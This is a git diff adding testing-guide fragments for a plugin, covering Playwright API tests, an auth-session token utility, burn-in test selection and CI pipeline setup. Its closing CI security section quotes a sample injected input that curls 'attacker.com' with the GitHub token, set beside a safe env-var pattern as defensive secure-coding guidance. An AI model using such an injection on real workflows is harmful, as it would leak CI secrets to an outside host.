+      { timeout: 30000, interval: 1000 },
+    );
+
+    expect(webhookStatus.delivered).toBe(true);
+    expect(webhookStatus.deliveredAt).toBeDefined();
+    expect(webhookStatus.responseStatus).toBe(200);
+  });
+});
+```
+
+**Key Points**:
+
+- `recurse` for polling async operations
+- Test both success and failure scenarios
+- Configurable timeout and interval
+- Log messages for debugging
+
+### Example 7: Service Authentication (No Browser)
+
+**Context**: Test authenticated API endpoints using tokens directly - no browser login needed.
+
+**Implementation**:
+
+```typescript
+// tests/api/authenticated.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Authenticated API Tests', () => {
+  let authToken: string;
+
+  test.beforeAll(async ({ request }) => {
+    // Get token via API (no browser!)
+    const response = await request.post('/api/auth/login', {
+      data: {
+        email: process.env.TEST_USER_EMAIL,
+        password: process.env.TEST_USER_PASSWORD,
+      },
+    });
+
+    const { token } = await response.json();
+    authToken = token;
+  });
+
+  test('should access protected endpoint with token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.email).toBe(process.env.TEST_USER_EMAIL);
+  });
+
+  test('should reject request without token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      // No Authorization header
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('UNAUTHORIZED');
+  });
+
+  test('should reject expired token', async ({ apiRequest }) => {
+    const expiredToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'; // Expired token
+
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${expiredToken}`,
+      },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('TOKEN_EXPIRED');
+  });
+
+  test('should handle role-based access', async ({ apiRequest }) => {
+    // User token (non-admin)
+    const { status } = await apiRequest({
+      method: 'GET',
+      path: '/api/admin/users',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(403); // Forbidden for non-admin
+  });
+});
+```
+
+**Key Points**:
+
+- Token obtained via API login (no browser)
+- Token reused across all tests in describe block
+- Test auth, expired tokens, and RBAC
+- Pure API testing without UI
+
+### Example 8: Operation-Based API Testing (OpenAPI / Code Generators)
+
+**Context**: When your project uses code-generated operation definitions from an OpenAPI spec, leverage the operation-based overload of `apiRequest` (v3.14.0+) instead of manual `method`/`path` extraction. This eliminates `typeof` assertions and provides full type inference for request body, response, and query parameters.
+
+**Implementation**:
+
+```typescript
+// tests/api/operations.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.describe('API Tests with Generated Operations', () => {
+  test('should create entity with full type safety', async ({ apiRequest }) => {
+    // Operation object from code generator — contains path, method, and type info
+    const { status, body } = await apiRequest({
+      operation: createEntityOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: entityInput, // Compile-time typed from operation.request
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined(); // body typed from operation.response
+  });
+
+  test('should list with typed query parameters', async ({ apiRequest }) => {
+    // query field replaces manual string concatenation
+    const { body } = await apiRequest({
+      operation: listEntitiesOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      query: { page: 0, page_size: 10, status: 'active' },
+    });
+
+    expect(body.items).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+  });
+
+  test('should poll async operation until complete', async ({ apiRequest, recurse }) => {
+    const { body: job } = await apiRequest({
+      operation: startJobOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: { type: 'export' },
+    });
+
+    await recurse(
+      async () =>
+        apiRequest({
+          operation: getJobOp({ workspaceId, jobId: job.id }),
+          headers: getHeaders(workspaceId),
+        }),
+      (res) => res.body.status === 'completed',
+      { timeout: 60000, interval: 2000 },
+    );
+  });
+});
+```
+
+**Key Points**:
+
+- `operation` replaces `method` + `path` — mutually exclusive at compile time
+- Types for body, response, and query all inferred from the operation definition
+- Works with any code generator using structural typing (no imports from playwright-utils needed in generator)
+- Composable with `recurse`, `validateSchema`, and all existing `apiRequest` features
+- Preferred approach over `typeof operation.response` for generated operations
+
+## API Test Configuration
+
+### Playwright Config for API-Only Tests
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  testDir: './tests/api',
+
+  // No browser needed for API tests
+  use: {
+    baseURL: process.env.API_URL || 'http://localhost:3000',
+    extraHTTPHeaders: {
+      Accept: 'application/json',
+      'Content-Type': 'application/json',
+    },
+  },
+
+  // Faster without browser overhead
+  timeout: 30000,
+
+  // Run API tests in parallel
+  workers: 4,
+  fullyParallel: true,
+
+  // No screenshots/traces needed for API tests
+  reporter: [['html'], ['json', { outputFile: 'api-test-results.json' }]],
+});
+```
+
+### Separate API Test Project
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  projects: [
+    {
+      name: 'api',
+      testDir: './tests/api',
+      use: {
+        baseURL: process.env.API_URL,
+      },
+    },
+    {
+      name: 'e2e',
+      testDir: './tests/e2e',
+      use: {
+        baseURL: process.env.APP_URL,
+        ...devices['Desktop Chrome'],
+      },
+    },
+  ],
+});
+```
+
+## Comparison: API Tests vs E2E Tests
+
+| Aspect              | API Test               | E2E Test                    |
+| ------------------- | ---------------------- | --------------------------- |
+| **Speed**           | ~50-100ms per test     | ~2-10s per test             |
+| **Stability**       | Very stable            | More flaky (UI timing)      |
+| **Setup**           | Minimal                | Browser, context, page      |
+| **Debugging**       | Clear request/response | DOM, screenshots, traces    |
+| **Coverage**        | Service logic          | User experience             |
+| **Parallelization** | Easy (stateless)       | Complex (browser resources) |
+| **CI Cost**         | Low (no browser)       | High (browser containers)   |
+
+## Related Fragments
+
+- `api-request.md` - apiRequest utility details
+- `recurse.md` - Polling patterns for async operations
+- `auth-session.md` - Token management
+- `contract-testing.md` - Pact contract testing
+- `test-levels-framework.md` - When to use which test level
+- `data-factories.md` - Test data setup patterns
+
+## Anti-Patterns
+
+**DON'T use E2E for API validation:**
+
+```typescript
+// Bad: Testing API through UI
+test('validate user creation', async ({ page }) => {
+  await page.goto('/admin/users');
+  await page.fill('#name', 'John');
+  await page.click('#submit');
+  await expect(page.getByText('User created')).toBeVisible();
+});
+```
+
+**DO test APIs directly:**
+
+```typescript
+// Good: Direct API test
+test('validate user creation', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'John' },
+  });
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**DON'T ignore API tests because "E2E covers it":**
+
+```typescript
+// Bad thinking: "Our E2E tests create users, so API is tested"
+// Reality: E2E tests one happy path; API tests cover edge cases
+```
+
+**DO have dedicated API test coverage:**
+
+```typescript
+// Good: Explicit API test suite
+test.describe('Users API', () => {
+  test('creates user', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles duplicate email', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('validates required fields', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles malformed JSON', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('rate limits requests', async ({ apiRequest }) => {
+    /* ... */
+  });
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/auth-session.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/auth-session.md
new file mode 100644
index 0000000..905472f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/auth-session.md
@@ -0,0 +1,548 @@
+# Auth Session Utility
+
+## Principle
+
+Persist authentication tokens to disk and reuse across test runs. Support multiple user identifiers, ephemeral authentication, and worker-specific accounts for parallel execution. Fetch tokens once, use everywhere. **Works for both API-only tests and browser tests.**
+
+## Rationale
+
+Playwright's built-in authentication works but has limitations:
+
+- Re-authenticates for every test run (slow)
+- Single user per project setup
+- No token expiration handling
+- Manual session management
+- Complex setup for multi-user scenarios
+
+The `auth-session` utility provides:
+
+- **Token persistence**: Authenticate once, reuse across runs
+- **Multi-user support**: Different user identifiers in same test suite
+- **Ephemeral auth**: On-the-fly user authentication without disk persistence
+- **Worker-specific accounts**: Parallel execution with isolated user accounts
+- **Automatic token management**: Checks validity, renews if expired
+- **Flexible provider pattern**: Adapt to any auth system (OAuth2, JWT, custom)
+- **API-first design**: Get tokens for API tests without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic Auth Session Setup
+
+**Context**: Configure global authentication that persists across test runs.
+
+**Implementation**:
+
+```typescript
+// Step 1: Configure in global-setup.ts
+import { authStorageInit, setAuthProvider, configureAuthSession, authGlobalInit } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './auth/custom-auth-provider';
+
+async function globalSetup() {
+  // Ensure storage directories exist
+  authStorageInit();
+
+  // Configure storage path
+  configureAuthSession({
+    authStoragePath: process.cwd() + '/playwright/auth-sessions',
+    debug: true,
+  });
+
+  // Set custom provider (HOW to authenticate)
+  setAuthProvider(myCustomProvider);
+
+  // Optional: pre-fetch token for default user
+  await authGlobalInit();
+}
+
+export default globalSetup;
+
+// Step 2: Create auth fixture
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './custom-auth-provider';
+
+// Register provider early
+setAuthProvider(myCustomProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests
+test('authenticated request', async ({ authToken, request }) => {
+  const response = await request.get('/api/protected', {
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(response.ok()).toBeTruthy();
+});
+```
+
+**Key Points**:
+
+- Global setup runs once before all tests
+- Token fetched once, reused across all tests
+- Custom provider defines your auth mechanism
+- Order matters: configure, then setProvider, then init
+
+### Example 2: Multi-User Authentication
+
+**Context**: Testing with different user roles (admin, regular user, guest) in same test suite.
+
+**Implementation**:
+
+```typescript
+import { test } from '../support/auth/auth-fixture';
+
+// Option 1: Per-test user override
+test('admin actions', async ({ authToken, authOptions }) => {
+  // Override default user
+  authOptions.userIdentifier = 'admin';
+
+  const { authToken: adminToken } = await test.step('Get admin token', async () => {
+    return { authToken }; // Re-fetches with new identifier
+  });
+
+  // Use admin token
+  const response = await request.get('/api/admin/users', {
+    headers: { Authorization: `Bearer ${adminToken}` },
+  });
+});
+
+// Option 2: Parallel execution with different users
+test.describe.parallel('multi-user tests', () => {
+  test('user 1 actions', async ({ authToken }) => {
+    // Uses default user (e.g., 'user1')
+  });
+
+  test('user 2 actions', async ({ authToken, authOptions }) => {
+    authOptions.userIdentifier = 'user2';
+    // Uses different token for user2
+  });
+});
+```
+
+**Key Points**:
+
+- Override `authOptions.userIdentifier` per test
+- Tokens cached separately per user identifier
+- Parallel tests isolated with different users
+- Worker-specific accounts possible
+
+### Example 3: Ephemeral User Authentication
+
+**Context**: Create temporary test users that don't persist to disk (e.g., testing user creation flow).
+
+**Implementation**:
+
+```typescript
+import { applyUserCookiesToBrowserContext } from '@seontechnologies/playwright-utils/auth-session';
+import { createTestUser } from '../utils/user-factory';
+
+test('ephemeral user test', async ({ context, page }) => {
+  // Create temporary user (not persisted)
+  const ephemeralUser = await createTestUser({
+    role: 'admin',
+    permissions: ['delete-users'],
+  });
+
+  // Apply auth directly to browser context
+  await applyUserCookiesToBrowserContext(context, ephemeralUser);
+
+  // Page now authenticated as ephemeral user
+  await page.goto('/admin/users');
+
+  await expect(page.getByTestId('delete-user-btn')).toBeVisible();
+
+  // User and token cleaned up after test
+});
+```
+
+**Key Points**:
+
+- No disk persistence (ephemeral)
+- Apply cookies directly to context
+- Useful for testing user lifecycle
+- Clean up automatic when test ends
+
+### Example 4: Testing Multiple Users in Single Test
+
+**Context**: Testing interactions between users (messaging, sharing, collaboration features).
+
+**Implementation**:
+
+```typescript
+test('user interaction', async ({ browser }) => {
+  // User 1 context
+  const user1Context = await browser.newContext({
+    storageState: './auth-sessions/local/user1/storage-state.json',
+  });
+  const user1Page = await user1Context.newPage();
+
+  // User 2 context
+  const user2Context = await browser.newContext({
+    storageState: './auth-sessions/local/user2/storage-state.json',
+  });
+  const user2Page = await user2Context.newPage();
+
+  // User 1 sends message
+  await user1Page.goto('/messages');
+  await user1Page.fill('#message', 'Hello from user 1');
+  await user1Page.click('#send');
+
+  // User 2 receives message
+  await user2Page.goto('/messages');
+  await expect(user2Page.getByText('Hello from user 1')).toBeVisible();
+
+  // Cleanup
+  await user1Context.close();
+  await user2Context.close();
+});
+```
+
+**Key Points**:
+
+- Each user has separate browser context
+- Reference storage state files directly
+- Test real-time interactions
+- Clean up contexts after test
+
+### Example 5: Worker-Specific Accounts (Parallel Testing)
+
+**Context**: Running tests in parallel with isolated user accounts per worker to avoid conflicts.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  workers: 4, // 4 parallel workers
+  use: {
+    // Each worker uses different user
+    storageState: async ({}, use, testInfo) => {
+      const workerIndex = testInfo.workerIndex;
+      const userIdentifier = `worker-${workerIndex}`;
+
+      await use(`./auth-sessions/local/${userIdentifier}/storage-state.json`);
+    },
+  },
+});
+
+// Tests run in parallel, each worker with its own user
+test('parallel test 1', async ({ page }) => {
+  // Worker 0 uses worker-0 account
+  await page.goto('/dashboard');
+});
+
+test('parallel test 2', async ({ page }) => {
+  // Worker 1 uses worker-1 account
+  await page.goto('/dashboard');
+});
+```
+
+**Key Points**:
+
+- Each worker has isolated user account
+- No conflicts in parallel execution
+- Token management automatic per worker
+- Scales to any number of workers
+
+### Example 6: Pure API Authentication (No Browser)
+
+**Context**: Get auth tokens for API-only tests using auth-session disk persistence.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create API-only auth provider (no browser needed)
+// playwright/support/api-auth-provider.ts
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const apiAuthProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+  getUserIdentifier: (options) => options.userIdentifier || 'api-user',
+
+  extractToken: (storageState) => {
+    // Token stored in localStorage format for disk persistence
+    const tokenEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'auth_token');
+    return tokenEntry?.value;
+  },
+
+  isTokenExpired: (storageState) => {
+    const expiryEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'token_expiry');
+    if (!expiryEntry) return true;
+    return Date.now() > parseInt(expiryEntry.value, 10);
+  },
+
+  manageAuthToken: async (request, options) => {
+    const email = process.env.TEST_USER_EMAIL;
+    const password = process.env.TEST_USER_PASSWORD;
+
+    if (!email || !password) {
+      throw new Error('TEST_USER_EMAIL and TEST_USER_PASSWORD must be set');
+    }
+
+    // Pure API login - no browser!
+    const response = await request.post('/api/auth/login', {
+      data: { email, password },
+    });
+
+    if (!response.ok()) {
+      throw new Error(`Auth failed: ${response.status()}`);
+    }
+
+    const { token, expiresIn } = await response.json();
+    const expiryTime = Date.now() + expiresIn * 1000;
+
+    // Return storage state format for disk persistence
+    return {
+      cookies: [],
+      origins: [
+        {
+          origin: process.env.API_BASE_URL || 'http://localhost:3000',
+          localStorage: [
+            { name: 'auth_token', value: token },
+            { name: 'token_expiry', value: String(expiryTime) },
+          ],
+        },
+      ],
+    };
+  },
+};
+
+export default apiAuthProvider;
+
+// Step 2: Create auth fixture
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import apiAuthProvider from './api-auth-provider';
+
+setAuthProvider(apiAuthProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests - token persisted to disk!
+// tests/api/authenticated-api.spec.ts
+import { test } from '../support/fixtures';
+import { expect } from '@playwright/test';
+
+test('should access protected endpoint', async ({ authToken, apiRequest }) => {
+  // authToken is automatically loaded from disk or fetched if expired
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/me',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+
+test('should create resource with auth', async ({ authToken, apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    headers: { Authorization: `Bearer ${authToken}` },
+    body: { items: [{ productId: 'prod-1', quantity: 2 }] },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Token persisted to disk (not in-memory) - survives test reruns
+- Provider fetches token once, reuses until expired
+- Pure API authentication - no browser context needed
+- `authToken` fixture handles disk read/write automatically
+- Environment variables validated with clear error message
+
+### Example 7: Service-to-Service Authentication
+
+**Context**: Test microservice authentication patterns (API keys, service tokens) with proper environment validation.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-auth.spec.ts
+import { test as base, expect } from '@playwright/test';
+import { test as apiFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { mergeTests } from '@playwright/test';
+
+// Validate environment variables at module load
+const SERVICE_API_KEY = process.env.SERVICE_API_KEY;
+const INTERNAL_SERVICE_URL = process.env.INTERNAL_SERVICE_URL;
+
+if (!SERVICE_API_KEY) {
+  throw new Error('SERVICE_API_KEY environment variable is required');
+}
+if (!INTERNAL_SERVICE_URL) {
+  throw new Error('INTERNAL_SERVICE_URL environment variable is required');
+}
+
+const test = mergeTests(base, apiFixture);
+
+test.describe('Service-to-Service Auth', () => {
+  test('should authenticate with API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': SERVICE_API_KEY },
+    });
+
+    expect(status).toBe(200);
+    expect(body.status).toBe('healthy');
+  });
+
+  test('should reject invalid API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': 'invalid-key' },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('INVALID_API_KEY');
+  });
+
+  test('should call downstream service with propagated auth', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/internal/aggregate-data',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: {
+        'X-API-Key': SERVICE_API_KEY,
+        'X-Request-ID': `test-${Date.now()}`,
+      },
+      body: { sources: ['users', 'orders', 'inventory'] },
+    });
+
+    expect(status).toBe(200);
+    expect(body.aggregatedFrom).toHaveLength(3);
+  });
+});
+```
+
+**Key Points**:
+
+- Environment variables validated at module load with clear errors
+- API key authentication (simpler than OAuth - no disk persistence needed)
+- Test internal/service endpoints
+- Validate auth rejection scenarios
+- Correlation ID for request tracing
+
+> **Note**: API keys are typically static secrets that don't expire, so disk persistence (auth-session) isn't needed. For rotating service tokens, use the auth-session provider pattern from Example 6.
+
+## Custom Auth Provider Pattern
+
+**Context**: Adapt auth-session to your authentication system (OAuth2, JWT, SAML, custom).
+
+**Minimal provider structure**:
+
+```typescript
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const myCustomProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+
+  getUserIdentifier: (options) => options.userIdentifier || 'default-user',
+
+  extractToken: (storageState) => {
+    // Extract token from your storage format
+    return storageState.cookies.find((c) => c.name === 'auth_token')?.value;
+  },
+
+  extractCookies: (tokenData) => {
+    // Convert token to cookies for browser context
+    return [
+      {
+        name: 'auth_token',
+        value: tokenData,
+        domain: 'example.com',
+        path: '/',
+        httpOnly: true,
+        secure: true,
+      },
+    ];
+  },
+
+  isTokenExpired: (storageState) => {
+    // Check if token is expired
+    const expiresAt = storageState.cookies.find((c) => c.name === 'expires_at');
+    return Date.now() > parseInt(expiresAt?.value || '0');
+  },
+
+  manageAuthToken: async (request, options) => {
+    // Main token acquisition logic
+    // Return storage state with cookies/localStorage
+  },
+};
+
+export default myCustomProvider;
+```
+
+## Integration with API Request
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('authenticated API call', async ({ apiRequest, authToken }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Pure API testing patterns (no browser)
+- `overview.md` - Installation and fixture composition
+- `api-request.md` - Authenticated API requests
+- `fixtures-composition.md` - Merging auth with other utilities
+
+## Anti-Patterns
+
+**❌ Calling setAuthProvider after globalSetup:**
+
+```typescript
+async function globalSetup() {
+  configureAuthSession(...)
+  await authGlobalInit()  // Provider not set yet!
+  setAuthProvider(provider)  // Too late
+}
+```
+
+**✅ Register provider before init:**
+
+```typescript
+async function globalSetup() {
+  authStorageInit()
+  configureAuthSession(...)
+  setAuthProvider(provider)  // First
+  await authGlobalInit()     // Then init
+}
+```
+
+**❌ Hardcoding storage paths:**
+
+```typescript
+const storageState = './auth-sessions/local/user1/storage-state.json'; // Brittle
+```
+
+**✅ Use helper functions:**
+
+```typescript
+import { getTokenFilePath } from '@seontechnologies/playwright-utils/auth-session';
+
+const tokenPath = getTokenFilePath({
+  environment: 'local',
+  userIdentifier: 'user1',
+  tokenFileName: 'storage-state.json',
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/burn-in.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/burn-in.md
new file mode 100644
index 0000000..d8b9f9e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/burn-in.md
@@ -0,0 +1,273 @@
+# Burn-in Test Runner
+
+## Principle
+
+Use smart test selection with git diff analysis to run only affected tests. Filter out irrelevant changes (configs, types, docs) and control test volume with percentage-based execution. Reduce unnecessary CI runs while maintaining reliability.
+
+## Rationale
+
+Playwright's `--only-changed` triggers all affected tests:
+
+- Config file changes trigger hundreds of tests
+- Type definition changes cause full suite runs
+- No volume control (all or nothing)
+- Slow CI pipelines
+
+The `burn-in` utility provides:
+
+- **Smart filtering**: Skip patterns for irrelevant files (configs, types, docs)
+- **Volume control**: Run percentage of affected tests after filtering
+- **Custom dependency analysis**: More accurate than Playwright's built-in
+- **CI optimization**: Faster pipelines without sacrificing confidence
+- **Process of elimination**: Start with all → filter irrelevant → control volume
+
+## Pattern Examples
+
+### Example 1: Basic Burn-in Setup
+
+**Context**: Run burn-in on changed files compared to main branch.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create burn-in script
+// playwright/scripts/burn-in-changed.ts
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in'
+
+async function main() {
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+    baseBranch: 'main'
+  })
+}
+
+main().catch(console.error)
+
+// Step 2: Create config
+// playwright/config/.burn-in.config.ts
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in'
+
+const config: BurnInConfig = {
+  // Files that never trigger tests (first filter)
+  skipBurnInPatterns: [
+    '**/config/**',
+    '**/*constants*',
+    '**/*types*',
+    '**/*.md',
+    '**/README*'
+  ],
+
+  // Run 30% of remaining tests after skip filter
+  burnInTestPercentage: 0.3,
+
+  // Burn-in repetition
+  burnIn: {
+    repeatEach: 3,  // Run each test 3 times
+    retries: 1      // Allow 1 retry
+  }
+}
+
+export default config
+
+// Step 3: Add package.json script
+{
+  "scripts": {
+    "test:pw:burn-in-changed": "tsx playwright/scripts/burn-in-changed.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Two-stage filtering: skip patterns, then volume control
+- `skipBurnInPatterns` eliminates irrelevant files
+- `burnInTestPercentage` controls test volume (0.3 = 30%)
+- Custom dependency analysis finds actually affected tests
+
+### Example 2: CI Integration
+
+**Context**: Use burn-in in GitHub Actions for efficient CI runs.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/burn-in.yml
+name: Burn-in Changed Tests
+
+on:
+  pull_request:
+    branches: [main]
+
+jobs:
+  burn-in:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Need git history
+
+      - name: Setup Node
+        uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run burn-in on changed tests
+        run: npm run test:pw:burn-in-changed -- --base-branch=origin/main
+
+      - name: Upload artifacts
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failures
+          path: test-results/
+```
+
+**Key Points**:
+
+- `fetch-depth: 0` for full git history
+- Pass `--base-branch=origin/main` for PR comparison
+- Upload artifacts only on failure
+- Significantly faster than full suite
+
+### Example 3: How It Works (Process of Elimination)
+
+**Context**: Understanding the filtering pipeline.
+
+**Scenario:**
+
+```
+Git diff finds: 21 changed files
+├─ Step 1: Skip patterns filter
+│  Removed: 6 files (*.md, config/*, *types*)
+│  Remaining: 15 files
+│
+├─ Step 2: Dependency analysis
+│  Tests that import these 15 files: 45 tests
+│
+└─ Step 3: Volume control (30%)
+   Final tests to run: 14 tests (30% of 45)
+
+Result: Run 14 targeted tests instead of 147 with --only-changed!
+```
+
+**Key Points**:
+
+- Three-stage pipeline: skip → analyze → control
+- Custom dependency analysis (not just imports)
+- Percentage applies AFTER filtering
+- Dramatically reduces CI time
+
+### Example 4: Environment-Specific Configuration
+
+**Context**: Different settings for local vs CI environments.
+
+**Implementation**:
+
+```typescript
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in';
+
+const config: BurnInConfig = {
+  skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md'],
+
+  // CI runs fewer iterations, local runs more
+  burnInTestPercentage: process.env.CI ? 0.2 : 0.3,
+
+  burnIn: {
+    repeatEach: process.env.CI ? 2 : 3,
+    retries: process.env.CI ? 0 : 1, // No retries in CI
+  },
+};
+
+export default config;
+```
+
+**Key Points**:
+
+- `process.env.CI` for environment detection
+- Lower percentage in CI (20% vs 30%)
+- Fewer iterations in CI (2 vs 3)
+- No retries in CI (fail fast)
+
+### Example 5: Sharding Support
+
+**Context**: Distribute burn-in tests across multiple CI workers.
+
+**Implementation**:
+
+```typescript
+// burn-in-changed.ts with sharding
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in';
+
+async function main() {
+  const shardArg = process.argv.find((arg) => arg.startsWith('--shard='));
+
+  if (shardArg) {
+    process.env.PW_SHARD = shardArg.split('=')[1];
+  }
+
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+  });
+}
+```
+
+```yaml
+# GitHub Actions with sharding
+jobs:
+  burn-in:
+    strategy:
+      matrix:
+        shard: [1/3, 2/3, 3/3]
+    steps:
+      - run: npm run test:pw:burn-in-changed -- --shard=${{ matrix.shard }}
+```
+
+**Key Points**:
+
+- Pass `--shard=1/3` for parallel execution
+- Burn-in respects Playwright sharding
+- Distribute across multiple workers
+- Reduces total CI time further
+
+## Integration with CI Workflow
+
+When setting up CI with `*ci` workflow, recommend burn-in for:
+
+- Pull request validation
+- Pre-merge checks
+- Nightly builds (subset runs)
+
+## Related Fragments
+
+- `ci-burn-in.md` - Traditional burn-in patterns (10-iteration loops)
+- `selective-testing.md` - Test selection strategies
+- `overview.md` - Installation
+
+## Anti-Patterns
+
+**❌ Over-aggressive skip patterns:**
+
+```typescript
+skipBurnInPatterns: [
+  '**/*', // Skips everything!
+];
+```
+
+**✅ Targeted skip patterns:**
+
+```typescript
+skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md', '**/*constants*'];
+```
+
+**❌ Too low percentage (false confidence):**
+
+```typescript
+burnInTestPercentage: 0.05; // Only 5% - might miss issues
+```
+
+**✅ Balanced percentage:**
+
+```typescript
+burnInTestPercentage: 0.2; // 20% in CI, provides good coverage
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/ci-burn-in.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/ci-burn-in.md
new file mode 100644
index 0000000..a092987
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/ci-burn-in.md
@@ -0,0 +1,717 @@
+# CI Pipeline and Burn-In Strategy
+
+## Principle
+
+CI pipelines must execute tests reliably, quickly, and provide clear feedback. Burn-in testing (running changed tests multiple times) flushes out flakiness before merge. Stage jobs strategically: install/cache once, run changed specs first for fast feedback, then shard full suites with fail-fast disabled to preserve evidence.
+
+## Rationale
+
+CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.
+
+## Security: Script Injection Prevention
+
+**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted).
+
+When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection.
+
+### Vulnerable vs Safe Pattern
+
+```yaml
+# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
+- name: Run tests
+  run: |
+    npx playwright test --grep "${{ inputs.test_ids }}"
+
+# ✅ SAFE — env var cannot break out of shell quoting
+- name: Run tests
+  env:
+    TEST_IDS: ${{ inputs.test_ids }}
+  run: |
+    npx playwright test --grep "$TEST_IDS"
+```
+
+### Unsafe Contexts (require env: intermediary)
+
+- `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs
